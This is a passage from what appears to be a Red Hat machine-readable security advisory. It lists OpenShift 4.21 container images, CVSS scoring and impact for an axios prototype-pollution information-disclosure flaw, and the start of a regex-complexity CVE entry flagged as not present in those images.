"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure due to prototype pollution vulnerability"
},
{
"cve": "CVE-2026-44496",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-06-11T17:01:15.856386+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
